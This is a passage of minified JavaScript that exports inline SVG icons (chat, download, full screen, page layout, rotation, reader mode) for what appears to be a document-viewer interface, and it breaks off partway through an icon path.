d="M19.5,12.6l1.9-2.2v9.4A2.2,2.2,0,0,1,19.3,22H4.3A2.24,2.24,0,0,1,2,19.8V4.7A2.2,2.2,0,0,1,4.1,2.5h9.5L11.7,4.4H3.8V20.1H19.4V12.6ZM22,5.9a2.2,2.2,0,0,1-.6,1.5L11,17.7H6.3V12.9L16.7,2.6a2.17,2.17,0,0,1,3,0l1.7,1.7A2.27,2.27,0,0,1,22,5.9ZM16.9,9.2,14.7,7,8,13.8V16h2.1ZM20.2,6,18,3.8,16.1,5.7l2.2,2.2Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - chat - fill</title><path class="cls-1" d="M18,8.12v8a2,2,0,0,1-2,2H11.28L6.52,21,5,21.88V18.12H4a2,2,0,0,1-2-2v-8a2,2,0,0,1,2-2H16A2,2,0,0,1,18,8.12Zm2-6H7v2H20v9h2v-9A2,2,0,0,0,20,2.12Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - chat - line</title><path class="cls-1" d="M16.39,6.12h-12a2,2,0,0,0-2,2v8a2,2,0,0,0,2,2h1v3.76L6.9,21l4.76-2.85h4.73a2,2,0,0,0,2-2v-8A2,2,0,0,0,16.39,6.12Zm0,10H11.11L7.39,18.35V16.12h-3v-8h12Zm6-12v9h-2v-9h-13v-2h13A2,2,0,0,1,22.39,4.12Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M16.2204 6.27987L12.0004 10.4999L7.78036 6.27987C7.62482 6.12741 7.3759 6.12741 7.22036 6.27987L6.28036 7.21987C6.1279 7.37541 6.1279 7.62433 6.28036 7.77987L10.5004 11.9999L6.28036 16.2199C6.1279 16.3754 6.1279 16.6243 6.28036 16.7799L7.22036 17.7199C7.3759 17.8723 7.62482 17.8723 7.78036 17.7199L12.0004 13.4999L16.2204 17.7199C16.3759 17.8723 16.6248 17.8723 16.7804 17.7199L17.7204 16.7799C17.8728 16.6243 17.8728 16.3754 17.7204 16.2199L13.5004 11.9999L17.7204 7.77987C17.8728 7.62433 17.8728 7.37541 17.7204 7.21987L16.7804 6.27987C16.6248 6.12741 16.3759 6.12741 16.2204 6.27987Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - download</title><path class="cls-1" d="M11.55,17,5.09,9.66a.6.6,0,0,1,.45-1H8.67V2.6a.6.6,0,0,1,.6-.6h5.46a.6.6,0,0,1,.6.6V8.67h3.13a.6.6,0,0,1,.45,1L12.45,17A.6.6,0,0,1,11.55,17ZM3.11,20.18V21.6a.4.4,0,0,0,.4.4h17a.4.4,0,0,0,.4-.4V20.18a.4.4,0,0,0-.4-.4h-17A.4.4,0,0,0,3.11,20.18Z"></path></svg>'},function(e,t){e.exports='<svg data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#868e96;}</style></defs><path class="cls-1" d="M3.16,19.22a.93.93,0,0,0,.79.43H18.17a1,1,0,0,0,.88-.57l2.84-6.64A1,1,0,0,0,21,11.11h-.95V7.32a1.9,1.9,0,0,0-1.9-1.9H12.39L10.22,3.73a.93.93,0,0,0-.58-.2H4.9A1.9,1.9,0,0,0,3,5.42V18.7H3A.88.88,0,0,0,3.16,19.22Zm14.39-1.47H5.39l2-4.74H19.58Zm.62-10.43v3.79H6.79a1,1,0,0,0-.87.58l-1,2.39V7.32H18.17Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>icon - line - exit full screen</title><path class="cls-1" d="M9.5,2H7V7H2V9.5H9.5ZM7,22H9.5V14.5H2V17H7Zm15-7.5H14.5V22H17V17h5ZM22,7H17V2H14.5V9.5H22Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - full screen - exit</title><path class="cls-1" d="M9.5,2H7V7H2V9.5H9.5ZM7,22H9.5V14.5H2V17H7Zm15-7.5H14.5V22H17V17h5ZM22,7H17V2H14.5V9.5H22Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - full screen</title><path class="cls-1" d="M4.22,4.22H9.78V2H2V9.78H4.22ZM9.78,19.78H4.22V14.22H2V22H9.78ZM22,14.22H19.78v5.56H14.22V22H22ZM19.78,9.78H22V2H14.22V4.22h5.56Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M12.2181 14.4298L12.9145 12.5597C11.5508 11.9666 10.4666 11.2731 9.5878 10.5445C10.9896 8.9062 11.6839 7.2429 12.012 6H13.75C13.8881 6 14 5.8881 14 5.75V4.25C14 4.1119 13.8881 4 13.75 4H9V2.25C9 2.1119 8.8881 2 8.75 2H7.25C7.1119 2 7 2.1119 7 2.25V4H2.25C2.1119 4 2 4.1119 2 4.25V5.75C2 5.8881 2.1119 6 2.25 6H4.315C4.6456 7.2454 5.3248 8.9109 6.7368 10.5535C5.6201 11.4777 4.156 12.3424 2.2352 13.0211C2.1072 13.0663 2.0347 13.2051 2.0783 13.3337L2.5594 14.7543C2.6045 14.8874 2.7563 14.9584 2.8888 14.9116C5.1511 14.1143 6.8698 13.0797 8.1771 11.9658C9.2366 12.8661 10.5507 13.717 12.2181 14.4298ZM9.9241 6C9.6251 6.9048 9.0998 8.0129 8.1639 9.1339C7.2299 8.0155 6.6925 6.9036 6.3928 6H9.9241Z" fill="#868E96"></path><path d="M21.875 21.663L18.1016 11.4892C17.9926 11.1951 17.7121 11 17.3985 11H15.6163C15.303 11 15.0227 11.1947 14.9134 11.4883L11.1255 21.6627C11.0647 21.8261 11.1856 22 11.3599 22H13.25L14 20H19L19.75 22H21.6406C21.8148 22 21.9356 21.8263 21.875 21.663ZM14.6 18.0748L16.5083 13L18.4 18.0748H14.6Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>icon - line - header - page manipulation</title><path class="cls-1" d="M10.75,10.43v.7a4,4,0,0,0-.84.5l-.61-.36a.45.45,0,0,0-.61.16L7.82,13a.44.44,0,0,0,.17.6H8l.6.35a4.18,4.18,0,0,0,0,1L8,15.3a.44.44,0,0,0-.17.58l.89,1.53a.45.45,0,0,0,.61.16l.61-.36a4,4,0,0,0,.84.5v.71a.46.46,0,0,0,.45.44H13a.44.44,0,0,0,.44-.44v-.71a3.39,3.39,0,0,0,.84-.5l.62.36a.45.45,0,0,0,.61-.16l.89-1.53a.45.45,0,0,0-.17-.61l-.6-.35a4.18,4.18,0,0,0,0-1l.6-.35a.44.44,0,0,0,.17-.6h0l-.89-1.54a.45.45,0,0,0-.61-.16l-.62.36a3.39,3.39,0,0,0-.84-.5v-.7A.44.44,0,0,0,13,10H11.2A.45.45,0,0,0,10.75,10.43Zm1.35,2.22a1.78,1.78,0,1,1-1.77,1.79h0a1.78,1.78,0,0,1,1.75-1.78Zm7.84-4V8.6a.84.84,0,0,0-.2-.29l-6-6a1.15,1.15,0,0,0-.29-.2h-.1A.79.79,0,0,0,13.06,2H6A2,2,0,0,0,4,4V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V8.94A1,1,0,0,0,19.94,8.69ZM18,20H6V4h6l6,6Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - page manipulation - fill</title><path class="cls-1" d="M13.82,14.43v0a1.78,1.78,0,1,1-1.74-1.82A1.78,1.78,0,0,1,13.82,14.47ZM20,9V20a2,2,0,0,1-2,2H6a2,2,0,0,1-2-2V4A2,2,0,0,1,6,2h7.06a.75.75,0,0,1,.29.16h.1a1.15,1.15,0,0,1,.29.2l6,6a.84.84,0,0,1,.2.29v.09A1.09,1.09,0,0,1,20,9ZM15.6,14l.6-.35h0a.44.44,0,0,0,.17-.6l-.87-1.54a.45.45,0,0,0-.61-.16l-.62.36a3.39,3.39,0,0,0-.84-.5v-.7h0A.44.44,0,0,0,13,10H11.22a.45.45,0,0,0-.45.45v.7a4,4,0,0,0-.84.5l-.61-.36a.45.45,0,0,0-.61.16L7.82,13a.44.44,0,0,0,.17.57l.6.35a4.18,4.18,0,0,0,0,1l-.6.35H8a.44.44,0,0,0-.16.6l.87,1.58a.45.45,0,0,0,.61.16l.61-.36a4,4,0,0,0,.84.5v.71a.46.46,0,0,0,.45.44H13a.44.44,0,0,0,.44-.44v-.71a3.39,3.39,0,0,0,.84-.5l.62.36a.45.45,0,0,0,.61-.16l.89-1.53v0a.45.45,0,0,0-.17-.58L15.6,15A4.18,4.18,0,0,0,15.6,14Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M12.825 6.68301L15.85 2.83301L18.875 6.68301H16.675C17.0417 8.88301 18.9667 10.533 21.1667 10.533V11.9997C18.05 11.9997 15.4833 9.70801 15.1167 6.68301H12.825ZM13.8333 12.1831V19.7915C13.8333 20.5248 13.1916 21.1665 12.4583 21.1665H4.20825C3.47492 21.1665 2.83325 20.5248 2.83325 19.7915V8.79145C2.83325 8.05812 3.47492 7.41645 4.20825 7.41645H9.06659C9.15825 7.41645 9.15825 7.41645 9.24992 7.41645H9.34159C9.43325 7.41645 9.52492 7.50812 9.52492 7.59978L13.6499 11.7248C13.7416 11.8165 13.7416 11.8165 13.7416 11.9081V11.9998C13.8333 11.9998 13.8333 12.0915 13.8333 12.1831ZM11.9999 19.3331V12.9165H9.06659C8.60825 12.9165 8.33325 12.6414 8.33325 12.1831V9.24978H4.66659V19.3331H11.9999Z" fill="#868E96"></path><line x1="15" y1="18" x2="21" y2="18" stroke="#868E96" stroke-width="2"></line><line x1="18" y1="21" x2="18" y2="15" stroke="#868E96" stroke-width="2"></line></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M20.7998 2.4668V4.02513C18.5998 4.02513 16.6748 5.67513 16.3082 7.87513H18.5082L15.3915 11.6335L12.3665 7.78346H14.7498C15.1165 4.75846 17.6832 2.4668 20.7998 2.4668ZM13.8333 12.1834V19.7918C13.8333 20.5251 13.1916 21.1668 12.4583 21.1668H4.20825C3.47492 21.1668 2.83325 20.5251 2.83325 19.7918V8.79178C2.83325 8.05845 3.47492 7.41678 4.20825 7.41678H9.06659C9.15825 7.41678 9.15825 7.41678 9.24992 7.41678H9.34159C9.43325 7.41678 9.52492 7.50845 9.52492 7.60011L13.6499 11.7251C13.7416 11.8168 13.7416 11.8168 13.7416 11.9084V12.0001C13.8333 12.0001 13.8333 12.0918 13.8333 12.1834ZM11.9999 19.3334V12.9168H9.06659C8.60825 12.9168 8.33325 12.6418 8.33325 12.1834V9.25012H4.66659V19.3334H11.9999Z" fill="#868E96"></path><line x1="15" y1="18" x2="21" y2="18" stroke="#868E96" stroke-width="2"></line><line x1="18" y1="21" x2="18" y2="15" stroke="#868E96" stroke-width="2"></line></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - page manipulation - line</title><path class="cls-1" d="M10.75,10.43v.7a4,4,0,0,0-.84.5l-.61-.36a.45.45,0,0,0-.61.16L7.82,13a.44.44,0,0,0,.17.6H8l.6.35a4.18,4.18,0,0,0,0,1L8,15.3a.44.44,0,0,0-.17.58l.89,1.53a.45.45,0,0,0,.61.16l.61-.36a4,4,0,0,0,.84.5v.71a.46.46,0,0,0,.45.44H13a.44.44,0,0,0,.44-.44v-.71a3.39,3.39,0,0,0,.84-.5l.62.36a.45.45,0,0,0,.61-.16l.89-1.53a.45.45,0,0,0-.17-.61l-.6-.35a4.18,4.18,0,0,0,0-1l.6-.35a.44.44,0,0,0,.17-.6h0l-.89-1.54a.45.45,0,0,0-.61-.16l-.62.36a3.39,3.39,0,0,0-.84-.5v-.7A.44.44,0,0,0,13,10H11.2A.45.45,0,0,0,10.75,10.43Zm1.35,2.22a1.78,1.78,0,1,1-1.77,1.79h0a1.78,1.78,0,0,1,1.75-1.78Zm7.84-4V8.6a.84.84,0,0,0-.2-.29l-6-6a1.15,1.15,0,0,0-.29-.2h-.1A.79.79,0,0,0,13.06,2H6A2,2,0,0,0,4,4V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V8.94A1,1,0,0,0,19.94,8.69ZM18,20H6V4h6l6,6Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>icon - line - header - page manipulation - page layout - single page</title><path class="cls-1" d="M20,8.94a2,2,0,0,0,0-.26.36.36,0,0,0,0-.09,1.17,1.17,0,0,0-.19-.3l-6-6a1.17,1.17,0,0,0-.3-.19l-.09,0L13.06,2H6A2,2,0,0,0,4,4V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V9S20,9,20,8.94ZM6,20V4h6V9a1,1,0,0,0,1,1h5V20Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - page manipulation - page layout - cover - fill</title><path class="cls-1" d="M3.13,8.68H2V7.5A1.12,1.12,0,0,1,3.13,6.38H4.31V7.5H3.13Zm0,1.19H2v1.54H3.13Zm0,2.72H2v1.54H3.13Zm0,2.72H2V16.5a1.12,1.12,0,0,0,1.13,1.12H4.31V16.5H3.13Zm4.2-7,1-1-.83-.83a.57.57,0,0,0-.16-.11l-.06,0-.14,0H5.49V7.5h1Zm3.1,1.18-1.3-1.3-1,1,1.3,1.3Zm-.55,4.62H11V10.61L9.88,11.74ZM5.49,17.62h2V16.5h-2ZM9.88,16.5H8.69v1.12H9.88A1.12,1.12,0,0,0,11,16.5V15.32H9.88ZM22,9.75V16.5a1.12,1.12,0,0,1-1.13,1.12H14.12A1.12,1.12,0,0,1,13,16.5v-9a1.12,1.12,0,0,1,1.12-1.12h4.51Zm-1.13.56L18.06,7.5v2.81h2.81Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - page manipulation - page layout - cover - line</title><path class="cls-1" d="M2.13,14.13H1V12.59H2.13Zm0,1.18H1V16.5a1.12,1.12,0,0,0,1.13,1.12H3.31V16.5H2.13Zm0-5.44H1v1.54H2.13Zm0-2.37H3.31V6.38H2.13A1.12,1.12,0,0,0,1,7.5V8.68H2.13Zm4.2.83,1-1-.83-.83a.57.57,0,0,0-.16-.11l-.06,0-.14,0H4.49V7.5h1ZM8.88,16.5H7.69v1.12H8.88A1.12,1.12,0,0,0,10,16.5V15.32H8.88ZM4.49,17.62h2V16.5h-2Zm4.39-3.49H10V10.61L8.88,11.74Zm.55-4.62-1.3-1.3-1,1,1.3,1.3Zm11.57.8V16.5a1.12,1.12,0,0,1-1.13,1.12H13.12A1.12,1.12,0,0,1,12,16.5v-9a1.12,1.12,0,0,1,1.12-1.12h4l.14,0,.06,0a.57.57,0,0,1,.16.11l3.38,3.37a1,1,0,0,1,.11.17s0,0,0,.05a.4.4,0,0,1,0,.15ZM19.88,16.5V10.88H17.06a.57.57,0,0,1-.56-.57V7.5H13.12v9Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>icon - line - header - page manipulation - page layout - cover page</title><path class="cls-1" d="M3.13,14.13H2V12.59H3.13Zm0,1.18H2V16.5a1.12,1.12,0,0,0,1.13,1.12H4.31V16.5H3.13Zm0-5.44H2v1.54H3.13Zm0-2.37H4.31V6.38H3.13A1.12,1.12,0,0,0,2,7.5V8.68H3.13Zm4.2.83,1-1-.83-.83a.57.57,0,0,0-.16-.11l-.06,0-.14,0H5.49V7.5h1ZM9.88,16.5H8.69v1.12H9.88A1.12,1.12,0,0,0,11,16.5V15.32H9.88ZM5.49,17.62h2V16.5h-2Zm4.39-3.49H11V10.61L9.88,11.74Zm.55-4.62-1.3-1.3-1,1,1.3,1.3Zm11.57.8V16.5a1.12,1.12,0,0,1-1.13,1.12H14.12A1.12,1.12,0,0,1,13,16.5v-9a1.12,1.12,0,0,1,1.12-1.12h4l.14,0,.06,0a.57.57,0,0,1,.16.11l3.38,3.37a1,1,0,0,1,.11.17s0,0,0,.05a.4.4,0,0,1,0,.15ZM20.88,16.5V10.88H18.06a.57.57,0,0,1-.56-.57V7.5H14.12v9Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - page manipulation - page layout - double page - fill</title><path class="cls-1" d="M3.12,6.38A1.12,1.12,0,0,0,2,7.5v9a1.12,1.12,0,0,0,1.12,1.12H9.88A1.12,1.12,0,0,0,11,16.5V9.75L7.63,6.38Zm4.51,3.93H7.06V7.5l2.82,2.81Zm11-3.93H14.12A1.12,1.12,0,0,0,13,7.5v9a1.12,1.12,0,0,0,1.12,1.12h6.75A1.12,1.12,0,0,0,22,16.5V9.75Zm0,3.93h-.57V7.5l2.81,2.81Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - page manipulation - page layout - double page - line</title><path class="cls-1" d="M11,10.13s0,0,0-.05a1,1,0,0,0-.11-.17L7.46,6.54a.57.57,0,0,0-.16-.11l-.06,0-.14,0h-4A1.12,1.12,0,0,0,2,7.5v9a1.12,1.12,0,0,0,1.13,1.12H9.88A1.12,1.12,0,0,0,11,16.5V10.28A.4.4,0,0,0,11,10.13ZM3.13,16.5v-9H6.5v2.81a.57.57,0,0,0,.56.57H9.88V16.5ZM22,10.28a.4.4,0,0,0,0-.15s0,0,0-.05a1,1,0,0,0-.11-.17L18.46,6.54a.57.57,0,0,0-.16-.11l-.06,0-.14,0h-4A1.12,1.12,0,0,0,13,7.5v9a1.12,1.12,0,0,0,1.13,1.12h6.74A1.12,1.12,0,0,0,22,16.5V10.28ZM14.13,16.5v-9H17.5v2.81a.57.57,0,0,0,.56.57h2.81V16.5Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - page manipulation - page layout - single page - fill</title><path class="cls-1" d="M14,2H6A2,2,0,0,0,4,4V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V8Zm0,7H13V4l5,5Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - page manipulation - page layout - single page - line</title><path class="cls-1" d="M20,8.94a2,2,0,0,0,0-.26.36.36,0,0,0,0-.09,1.17,1.17,0,0,0-.19-.3l-6-6a1.17,1.17,0,0,0-.3-.19l-.09,0L13.06,2H6A2,2,0,0,0,4,4V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V9S20,9,20,8.94ZM6,20V4h6V9a1,1,0,0,0,1,1h5V20Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - page manipulation - page rotation - clockwise - fill</title><path class="cls-1" d="M22,7.83,18.67,12,15.33,7.83h2.43a5,5,0,0,0-4.93-4.16V2a6.64,6.64,0,0,1,6.61,5.83ZM9.5,7,14,11.5v9A1.5,1.5,0,0,1,12.5,22h-9A1.5,1.5,0,0,1,2,20.5V8.5A1.5,1.5,0,0,1,3.5,7Zm3,5.25L8.75,8.5v3.75H12.5Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - page manipulation - page rotation - clockwise - line</title><path class="cls-1" d="M22,7.83,18.67,12,15.33,7.83h2.43a5,5,0,0,0-4.93-4.16V2a6.64,6.64,0,0,1,6.61,5.83ZM14,12.2s0,0,0,.05V20.5A1.5,1.5,0,0,1,12.5,22h-9A1.5,1.5,0,0,1,2,20.5V8.5A1.5,1.5,0,0,1,3.5,7H8.8a.65.65,0,0,1,.19,0l.07,0a.86.86,0,0,1,.22.15l4.5,4.5a.66.66,0,0,1,.15.22s0,.05,0,.07A.65.65,0,0,1,14,12.2ZM12,20V13H8.75A.76.76,0,0,1,8,12.25V9H4V20Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - page manipulation - page rotation - counterclockwise - fill</title><path class="cls-1" d="M22,11.17H20.33a5,5,0,0,0-4.16-4.93V8.67L12,5.33,16.17,2V4.56A6.64,6.64,0,0,1,22,11.17ZM9.5,7,14,11.5v9A1.5,1.5,0,0,1,12.5,22h-9A1.5,1.5,0,0,1,2,20.5V8.5A1.5,1.5,0,0,1,3.5,7Zm3,5.25L8.75,8.5v3.75H12.5Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - page manipulation - page rotation - counterclockwise - line</title><path class="cls-1" d="M22.39,11.17H20.72a5,5,0,0,0-4.17-4.93V8.67L12.39,5.33,16.55,2V4.56a6.66,6.66,0,0,1,5.84,6.61Zm-8,1s0,0,0,.05V20.5a1.5,1.5,0,0,1-1.5,1.5h-9a1.5,1.5,0,0,1-1.5-1.5V8.5A1.5,1.5,0,0,1,3.89,7H9.18a.71.71,0,0,1,.2,0l.07,0a1.07,1.07,0,0,1,.22.15l4.5,4.5a.86.86,0,0,1,.15.22.19.19,0,0,0,0,.07A1.29,1.29,0,0,1,14.38,12.2Zm-2,7.8V13H9.14a.75.75,0,0,1-.75-.75V9h-4V20Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - page manipulation - page transition - continuous page - fill</title><path class="cls-1" d="M20,2V9a2,2,0,0,1-2,2H6A2,2,0,0,1,4,9V2ZM14,13l6,6v3H4V15a2,2,0,0,1,2-2Zm4,7-5-5v5h5Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - page manipulation - page transition - continuous page - line</title><path class="cls-1" d="M20,2V9a2,2,0,0,1-2,2H6A2,2,0,0,1,4,9V2H6V9H18V2Zm0,17.94s0,0,0,.06v2H18V21H13a1,1,0,0,1-1-1V15H6v7H4V15a2,2,0,0,1,2-2h7.06l.26.05.09,0a1.17,1.17,0,0,1,.3.19l6,6a1.17,1.17,0,0,1,.19.3.36.36,0,0,1,0,.09A2,2,0,0,1,20,19.94Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - page manipulation - page transition - page by page - fill</title><path class="cls-1" d="M20.33,9.5V20.33A1.67,1.67,0,0,1,18.66,22H11.17V20.33h7.49V9.5Zm-5,9.16h-10A1.67,1.67,0,0,1,3.67,17V3.67A1.67,1.67,0,0,1,5.34,2H12l5,5V17A1.67,1.67,0,0,1,15.33,18.66ZM12,7.83h3.33L11.17,3.67V7.83Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - page manipulation - page transition - page by page - line</title><path class="cls-1" d="M17,17V7.83s0,0,0,0a1.7,1.7,0,0,0,0-.22l0-.07a.82.82,0,0,0-.16-.25l-5-5a.82.82,0,0,0-.25-.16l-.08,0-.21,0H5.34A1.67,1.67,0,0,0,3.67,3.67V17a1.67,1.67,0,0,0,1.67,1.67h10A1.67,1.67,0,0,0,17,17ZM5.67,4h4.66V7.83a.84.84,0,0,0,.84.83H15v8H5.67ZM20.33,9.51V20.33A1.67,1.67,0,0,1,18.66,22H11.17V20h7.16V9.51Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>icon / page manipulation / reflow / reader</title><g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g id="D---view" transform="translate(-75.000000, -147.000000)" fill="#868E96"><g id="Group-Copy" transform="translate(63.000000, 37.000000)"><g id="page-transitions" transform="translate(0.000000, 10.000000)"><g id="page-by-page-copy" transform="translate(0.000000, 96.000000)"><g id="icon-/-page-manipulation-/-reflow-/-reader" transform="translate(12.000000, 4.000000)"><path d="M17.33,3 L5.67,3 C4.74768447,3 4,3.74768447 4,4.67 L4,19.67 C4,20.5923155 4.74768447,21.34 5.67,21.34 L17.33,21.34 C18.2523155,21.34 19,20.5923155 19,19.67 L19,4.67 C19,3.74768447 18.2523155,3 17.33,3 Z M5.67,19.67 L5.67,4.67 L17.33,4.67 L17.33,19.67 L5.67,19.67 Z" id="page"></path><path d="M13.66,15 L13.66,16.8 L7.33,16.8 L7.33,15 L13.66,15 Z M15.67,10.83 L15.67,12.63 L7.34,12.63 L7.34,10.83 L15.67,10.83 Z M15.67,6.78 L15.67,8.58 L7.34,8.58 L7.34,6.78 L15.67,6.78 Z" id="text-2"></path></g></g></g></g></g></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 20 20" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>icon-header-pan20</title><g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g transform="translate(-369.000000, -78.000000)"><g transform="translate(-22.000000, 0.000000)"><g transform="translate(391.000000, 78.000000)"><rect fill="none" x="0" y="0" width="20" height="20"></rect><path d="M4.84116789,10.6404137 C4.46186271,10.6404137 3.96297997,10.9126703 3.804829,11.1798615 C3.56953121,11.5774827 3.81897258,11.930783 3.98998135,12.1055337 L4.90417112,13.043869 C5.82350401,13.9872696 6.74283689,14.9294038 7.66345556,15.8690054 C9.43397498,17.6696974 11.5349399,18.024264 13.7413389,16.8921834 C15.5478601,15.9639786 16.5301962,14.4798639 16.66006,12.4816276 C16.7089197,11.7281735 16.7024908,10.9506595 16.6947761,10.1984717 L16.689633,9.37283798 C16.689633,9.37283798 16.6909188,7.17705742 16.6857756,6.07663452 C16.6844899,5.86516085 16.6214866,5.70560586 16.4993375,5.60176848 C16.3797599,5.49919742 16.1971792,5.44474611 15.9721676,5.44474611 L15.9631671,5.44474611 C15.5607179,5.44601242 15.1454109,5.73346466 15.1454109,6.20959701 L15.1441251,9.50833309 C15.1441251,9.63876296 15.1454109,9.78945378 15.0618352,9.92494889 C14.8496814,10.2630535 14.5938112,10.4302064 14.2955101,10.4302064 C13.8622022,10.4302064 13.5960457,10.0515798 13.5021837,9.88949223 C13.4288942,9.77045914 13.43018,9.63496403 13.4314658,9.54505606 L13.4314658,8.23949103 C13.4327516,6.96431743 13.4327516,5.68661122 13.4288942,4.41017131 C13.4327516,4.10372442 13.1254501,3.7656198 12.6239958,3.74789147 C12.3899838,3.75675564 12.2151177,3.84666361 12.1199699,3.9391042 C11.9605332,4.09359395 11.8923868,4.29493715 11.8949584,4.42663333 C11.9232456,5.8993512 11.9219598,7.41765621 11.9193882,8.90050456 L11.9193882,9.48427321 C11.9193882,9.61090415 11.9103878,9.74260033 11.8460987,9.86923128 C11.7830955,9.9933296 11.5426546,10.3985486 11.0939173,10.3985486 C10.6541804,10.3985486 10.3725946,10.0249873 10.3083056,9.89329116 C10.2337303,9.7375351 10.2337303,9.5767138 10.2337303,9.44881654 L10.2337303,7.43031931 C10.2337303,6.08423238 10.2337303,4.74067807 10.229873,3.39585745 C10.2388734,3.22743829 10.1758702,3.06914962 10.0562926,2.94378498 C9.89557009,2.77663214 9.65770074,2.68419155 9.38768689,2.68419155 C8.82708669,2.68419155 8.52621411,3.11726937 8.52492833,3.4300478 C8.52364255,4.64950379 8.52492833,5.78791597 8.52621411,6.94025756 L8.52878567,9.50200154 L8.52492833,10.8506211 C8.72551005,11.0063771 9.30539695,11.4470528 9.70913195,11.754766 C10.0640073,12.0257562 10.381595,12.2650887 10.487029,12.3511978 C10.6593236,12.4904918 10.6914681,12.8159333 10.6708956,12.9995482 